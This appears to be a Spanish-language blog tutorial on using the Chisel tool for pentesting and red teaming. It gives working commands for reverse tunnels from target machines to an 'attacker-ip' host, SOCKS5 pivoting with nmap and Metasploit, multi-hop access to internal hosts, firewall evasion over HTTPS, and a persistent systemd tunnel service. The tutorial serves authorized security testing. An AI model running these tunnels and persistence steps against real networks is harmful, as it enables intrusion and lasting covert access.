{ "slug": "chisel-tunneling-pivoting-pentesting", "title": "Chisel: Tunneling y Port Forwarding para Pentesting y Red Team", "date": "2026-07-23", "categories": ["pentesting"], "tags": ["chisel", "tunneling", "pivoting", "port-forwarding", "socks5", "red-team"], "cluster": "hacking-etico", "excerpt": "Chisel es la herramienta de tunneling más versátil para pentesting. Crea túneles HTTP/HTTPS, port forwards y proxies SOCKS5 para pivoting a través de firewalls.", "author": "CyberFlows", "featured": false, "readingTime": 14 }
Chisel: Tunneling y Port Forwarding para Pentesting y Red Team
Por qué necesitas tunneling en pentesting
Cuando realizas una auditoría de seguridad, rara vez tienes acceso directo a toda la red objetivo. El firewall bloquea la mayoría de los puertos, pero casi siempre permite tráfico HTTP/S. Chisel aprovecha esto para crear túneles cifrados sobre HTTP, permitiéndote llegar a cualquier segmento de red.
Instalación
# Descargar binario precompilado
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel
Port forwarding básico
Servidor (máquina atacante)
# Escuchar en puerto 8080
chisel server --port 8080
# Con autenticación
chisel server --port 8080 --auth usuario:password
# Con SOCKS5 habilitado
chisel server --port 8080 --socks5
Cliente (máquina objetivo)
# Port forwarding local: acceder a RDP interno
chisel client attacker-ip:8080 9090:localhost:3389
# SOCKS5 proxy
chisel client attacker-ip:8080 1080:socks
Pivoting con proxychains
Una vez que tienes el túnel SOCKS5 activo, cualquier herramienta puede pasar por él:
# Configurar proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
# Escanear red interna
proxychains nmap -sT -Pn 10.0.0.0/24
# Usar metasploit
proxychains msfconsole
msf6> use auxiliary/scanner/smb/smb_version
msf6> set RHOSTS 10.0.0.0/24
msf6> run
Multi-hop: llegar a cualquier red
# Hop 1: DMZ → Red interna
chisel client attacker-ip:8080 R:9090:10.10.10.1:3389
# Hop 2: Red interna → Red de datos
chisel client 10.10.10.1:9090 R:9091:172.16.0.1:445
# Resultado: accedes al DC (172.16.0.1:445) desde tu máquina
Evasión con HTTPS
# Servidor con certificado TLS válido
chisel server --port 443 \
--tls-cert cert.pem \
--tls-key key.pem \
--auth pentest:SecurePass
# El tráfico parece una conexión HTTPS normal
chisel client https://tunnel.empresa.com 1080:socks
Persistencia con systemd
cat > /etc/systemd/system/chisel.service << 'EOF'
[Unit]
Description=Chisel Client Tunnel
After=network-online.target
[Service]
Type=simple
ExecStart=/usr/local/bin/chisel client \
--auth pentest:SecurePass \
https://tunnel.empresa.com 1080:socks
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl enable chisel
systemctl start chisel
Chisel vs otras herramientas
| Herramienta | Protocolo | Ventaja | Desventaja |
|---|---|---|---|
| Chisel | HTTP/S | Evade firewalls, SOCKS5 | Requiere binario en objetivo |
| ligolo-ng | TCP | Rendimiento, sin proxychains | No eva firewalls HTTP |
| sshuttle | SSH | Sin configuración | Solo SSH accesible |
| socat | TCP | Flexible | No eva firewalls |
| frp | HTTP/S | Múltiples protocolos | Configuración más compleja |
Conclusión
Chisel es una herramienta esencial para pentesters y equipos de Red Team. Su capacidad de crear túneles sobre HTTP/HTTPS lo hace ideal para evadir firewalls y llegar a redes internas.
La clave: siempre ten chisel compilado para múltiples plataformas (Windows, Linux, macOS) y en un USB o VPS listo para usar.
Herramientas relacionadas: Nmap (reconocimiento), Metasploit (explotación), BloodHound (AD mapping)
Artículos relacionados: